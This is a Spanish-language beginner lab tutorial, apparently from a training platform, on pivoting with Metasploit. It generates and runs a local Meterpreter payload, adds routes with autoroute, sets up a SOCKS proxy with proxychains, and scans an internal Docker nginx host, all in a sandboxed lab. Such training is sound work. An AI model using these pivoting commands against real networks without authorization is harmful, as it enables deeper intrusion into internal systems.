Autorouting en Metasploit

CiberseguridadBeginner
Practicar Ahora

Introducción

El movimiento lateral es una fase crítica en las pruebas de penetración, donde un atacante utiliza un sistema comprometido para acceder a otros hosts dentro de la misma red interna. A menudo, estas redes internas están aisladas y no se puede acceder a ellas directamente desde el exterior.

El salto conceptual importante es que el compromiso no se trata solo del primer host. El primer host suele ser relevante debido a qué redes, rutas y relaciones de confianza puede ver a continuación.

En este laboratorio, aprenderás a realizar movimientos laterales utilizando el framework Metasploit. Simularás la obtención de un punto de apoyo inicial en un host con doble interfaz, utilizarás la función Autoroute de Metasploit para pivotar a través de tu sesión de Meterpreter y configurarás un proxy SOCKS para permitir que herramientas externas interactúen con la red interna oculta.

Identificar subredes internas (arp/ipconfig)

En este paso, simularemos la obtención de un punto de apoyo inicial en un servidor comprometido. Para ello, generaremos un payload local, lo ejecutaremos y capturaremos la conexión utilizando Metasploit para establecer una sesión de Meterpreter. Una vez conectados, inspeccionaremos las interfaces de red para identificar subredes internas aisladas.

Primero, asegúrate de estar en el directorio de tu proyecto y utiliza msfvenom para generar un payload ejecutable para Linux. Este payload abrirá un puerto de escucha en la máquina objetivo (que, en nuestra simulación, es la máquina local).

cd ~/project
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.bin

Si es la primera vez que utilizas Metasploit en el entorno de laboratorio actual, es posible que veas un aviso de configuración inicial antes de que msfvenom genere el payload. Cuando se te pregunte si deseas configurar una nueva base de datos, responde yes y espera a que finalice la configuración.

A continuación, haz que el payload sea ejecutable y ejecútalo en segundo plano.

chmod +x payload.bin
./payload.bin &

Ahora, inicia la consola de Metasploit de forma silenciosa (sin el banner de inicio) utilizando el flag -q.

msfconsole -q

Dentro de la consola de Metasploit, configura el multi-handler para conectarte al payload que acabas de ejecutar.

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit

Deberías ver una salida indicando que se ha abierto una sesión de Meterpreter.

[*] Started bind tcp handler against 127.0.0.1:4444
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:38475 -> 127.0.0.1:4444)

Con la sesión de Meterpreter activa, ahora puedes explorar la configuración de red del host comprometido. Utiliza el comando ipconfig para listar todas las interfaces de red.

Enumerar interfaces y rutas es el equivalente en red a la enumeración de privilegios locales. Necesitas saber qué puede alcanzar el host antes de poder usarlo como pivote.

meterpreter > ipconfig

Revisa la salida en busca de diferentes subredes. En este entorno, normalmente verás la red principal de la VM en eth0 y una subred de puente Docker como 172.17.0.0/16 en docker0. Esas son las rutas que Meterpreter a menudo puede descubrir y a través de las cuales puede pivotar automáticamente. También puedes verificar la caché ARP para ver si el host se ha comunicado con dispositivos cercanos.

meterpreter > arp

Mantén esta sesión de Meterpreter abierta, ya que la utilizaremos en el siguiente paso para configurar nuestro enrutamiento.

Añadir Autoroute a través de Meterpreter

En este paso, configuraremos Metasploit para enrutar el tráfico a través de nuestra sesión activa de Meterpreter. En este entorno de laboratorio, el módulo autoroute puede inspeccionar la tabla de enrutamiento del host comprometido y añadir automáticamente las subredes que descubre. Este proceso se conoce como pivotaje y nos permite atacar redes que son alcanzables desde el host comprometido.

Autoroute es valioso porque hace que el framework sea consciente de la sesión. Una vez que las rutas existen, Metasploit puede elegir automáticamente el host comprometido como la ruta hacia esas subredes ocultas.

Primero, envía tu sesión actual de Meterpreter a segundo plano para que puedas volver al prompt principal de Metasploit.

meterpreter > background

Verás un mensaje confirmando que la sesión 1 ha sido enviada a segundo plano. Ahora, carga el módulo de post-explotación autoroute.

msf6 exploit(multi/handler) > use post/multi/manage/autoroute

Configura el módulo especificando el ID de sesión a través del cual deseas enrutar el tráfico y luego ejecútalo. En este entorno, el módulo buscará en la tabla de enrutamiento del host y añadirá las subredes que encuentre automáticamente.

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > run

Deberías ver una salida indicando que se añadieron una o más rutas desde la tabla de enrutamiento del host. Un resultado común en este entorno se ve así:

[*] Running module against 127.0.0.1
[*] Searching for subnets to autoroute.
[+] Route added to subnet 172.16.50.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 172.17.0.0/255.255.0.0 from host's routing table.
[*] Post module execution completed

Para verificar que la ruta se ha registrado correctamente dentro de Metasploit, puedes imprimir la tabla de enrutamiento activa.

msf6 post(multi/manage/autoroute) > route print

La salida mostrará las subredes que fueron mapeadas a la Sesión 1. Cualquier módulo de Metasploit ejecutado contra una dirección IP en uno de esos rangos ahora se tunelizará automáticamente a través del host comprometido.

Configurar un proxy SOCKS en Metasploit

Aunque la función autoroute es excelente para los módulos integrados de Metasploit, no enruta automáticamente el tráfico para herramientas de línea de comandos externas (como curl o nmap). Para lograr esto, necesitamos configurar un servidor proxy SOCKS dentro de Metasploit.

En este paso, iniciaremos un proxy SOCKS y configuraremos la herramienta proxychains para utilizarlo.

Aún dentro de tu consola de Metasploit, carga el módulo auxiliar de proxy SOCKS.

msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy

Configura el proxy para que escuche en tu dirección de loopback local (127.0.0.1) en el puerto 1080. Usaremos la versión 4a de SOCKS.

msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > set VERSION 4a

Ejecuta el servidor proxy como un trabajo en segundo plano utilizando el flag -j.

msf6 auxiliary(server/socks_proxy) > run -j

Verás un mensaje confirmando que el proxy SOCKS se está ejecutando en segundo plano.

[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Deja la consola de Metasploit ejecutándose. Abre una nueva pestaña de terminal en tu entorno LabEx para configurar proxychains.

En la nueva terminal, abre el archivo de configuración de proxychains utilizando el editor de texto nano con privilegios de sudo.

sudo nano /etc/proxychains4.conf

Desplázate hasta el final del archivo. Encontrarás una sección [ProxyList]. Por defecto, podría tener una entrada como socks4 127.0.0.1 9050. Modifica esta línea (o añade una nueva) para que coincida con el puerto que configuramos en Metasploit:

socks4  127.0.0.1 1080

Guarda el archivo presionando Ctrl+O, pulsa Enter para confirmar y luego sal de nano presionando Ctrl+X.

Escanear la red interna mediante pivotaje

En este paso final, utilizaremos tanto el autoroute de Metasploit como el proxy SOCKS para interactuar con la red de puente Docker. Docker puede asignar una dirección IP ligeramente diferente cada vez que se inicia el contenedor, por lo que la configuración guardó la IP real del objetivo en ~/project/internal_target_ip.txt.

En tu segunda terminal, puedes confirmar la IP del objetivo en cualquier momento con:

cat ~/project/internal_target_ip.txt

Primero, usemos un módulo integrado de Metasploit para escanear el objetivo. Regresa a tu primera pestaña de terminal donde se está ejecutando Metasploit.

Carga el módulo de escaneo de puertos TCP y configúralo para escanear el puerto 80 en el objetivo interno.

msf6 auxiliary(server/socks_proxy) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS <target-ip-from-file>
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 80
msf6 auxiliary(scanner/portscan/tcp) > run

Debido a que configuramos el autoroute en el Paso 2, Metasploit sabe que debe enviar este escaneo a través de la Sesión 1. Deberías ver una salida indicando que el puerto 80 está abierto.

[+] 172.17.0.2:           - 172.17.0.2:80 - TCP OPEN
[*] 172.17.0.2:           - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Ahora, probemos nuestro proxy SOCKS. Regresa a tu segunda pestaña de terminal.

Utilizaremos el comando curl para obtener la página web del objetivo interno. Al anteponer proxychains a nuestro comando, el tráfico se fuerza a través del proxy SOCKS (que lo enruta a través de Metasploit y, finalmente, a través de nuestra sesión de Meterpreter).

proxychains curl -s http://$(cat ~/project/internal_target_ip.txt) | grep title

Deberías ver los registros de conexión de proxychains seguidos del título HTML de la página web predeterminada de Nginx alojada en el objetivo interno.

[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:80  ...  OK
<title>Welcome to nginx!</title>

¡Felicidades! Has pivotado con éxito a través de un host comprometido para interactuar con una red interna aislada utilizando tanto módulos internos de Metasploit como herramientas externas.

Resumen

En este laboratorio, exploraste las potentes capacidades de movimiento lateral del framework Metasploit. Comenzaste generando un payload y estableciendo una sesión de Meterpreter para simular un host comprometido. Luego, identificaste una subred interna aislada y utilizaste el módulo autoroute de Metasploit para dirigir el tráfico a través de tu sesión. Finalmente, configuraste un proxy SOCKS y utilizaste proxychains para tunelizar herramientas de línea de comandos externas hacia la red interna. Estas técnicas son fundamentales para navegar por entornos de red complejos durante las pruebas de penetración.